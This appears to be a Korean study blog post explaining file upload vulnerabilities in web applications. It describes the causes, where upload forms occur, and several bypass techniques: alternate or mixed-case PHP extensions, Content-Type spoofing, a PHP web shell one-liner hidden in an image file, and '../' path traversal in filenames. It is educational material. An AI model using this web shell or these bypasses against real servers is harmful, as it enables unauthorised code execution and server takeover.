본문 바로가기

웹 해킹/파일 취약점

파일 업로드 취약점이란? (정의, 발생 원인, 발생 위치, 공격 핵심, 우회 방법 )

파일 업로드 취약점이란?

:  웹 페이지의 파일 업로드 기능을 이용해서 공격자가 원하는 임의의 파일을 업로드할 수 있는 취약점

 

 

공격자는 서버 측 스크립트(php, asp, jsp 등)를 이용해서 웹쉘을 제작하여 업로드한다. 이를 이용하여 서버에 침투하여 권한을 상승하고 서버를 장악할 수 있다.

 

이 공격도 역시 주요정보통신기반시설 취약점 점검 가이드에서 찾아볼 수 있다.

 

 

 

 

1. 발생 원인

서버에서 파일을 업로드 받을 때 확장자를 검증하지 않음

 

 

2. 발생 위치

파일을 업로드할 수 있는 모든 곳

ex) 게시판, 프로필 사진, 서류 제출란 등

 

 

3. 파일 업로드 공격의 핵심

이 공격의 가장 핵심은 서버에 우리가 원하는 코드를 실행할 수 있다는 것이다.

 

그러기 위해서는 

 

1) 웹 서버 측 실행 코드를 업로드할 수 있어야 함

: 서버 측 실행코드를 아는 것이 우선이다. php 서버라면 php 파일로, jsp 서버라면 jsp 파일로 웹쉘을 제작해서 업로드해야 서버에서 실행 가능함

 

2) 업로드된 파일의 경로를 알아야 함

: 파일을 업로드하고 끝이 아니라 서버에서 실행되게 해야한다!! 요청을 보내야 서버 측에서 실행되기 때문에 업로드한 파일의 경로를 알고 접근해야 한다.

 

 

 

4. 우회 방법

 

1) 확장자를 못쓰게 막는 경우

가장 단순한 방어 기법이지만 우회도 쉽다.

 

만약 php 서버에서 php 확장자를 업로드 못하게 검증한다면 php 대신 PhP, pHP, pHp 등 대소문자를 섞어서 사용한다. 또는 .phtml, .php3, .php5 등의 php와 동일하게 동작하는 확장자를 사용한다.

 

 

 

2) 서버에서 Content-Type을 확인하는 경우

 

 

버프슈트에서 위 사진과 같이 Content-Type을 image/png로 바꿔주면 우회가 가능하다.

 

 

 

3) 그림 웹쉘 (이미지 웹쉘)

: 가장 흔한 파일 업로드 우회 방법으로 절차는 다음과 같다.

 

(1)  정상적인 이미지 다운받기

 

(2) hex editor로 파일 열기

 

(3) 중간이나 끝에 웹쉘 코드(<?php system($_GET['cmd']); ?>) 추가

나는 맨 마지막에 추가했다

 

(4) 파일 업로드 후 실행

이 때 파일 확장자는 png가 아닌 php로 변경해야 서버에서 실행된다. 

 

업로드된 곳으로 접근해서 cmd에 명령어를 주면

 

맨 마지막 부분에 실행 결과가 출력되어 해당 경로에 저장된 파일들이 나온다.

 

 

 

 

 

+) 업로드는 되지만 실행이 안되는 디렉토리에 저장되는 경우

: 파일명을 ../webshell.php 이런 식으로 디렉토리를 우회해서 저장되게 한다.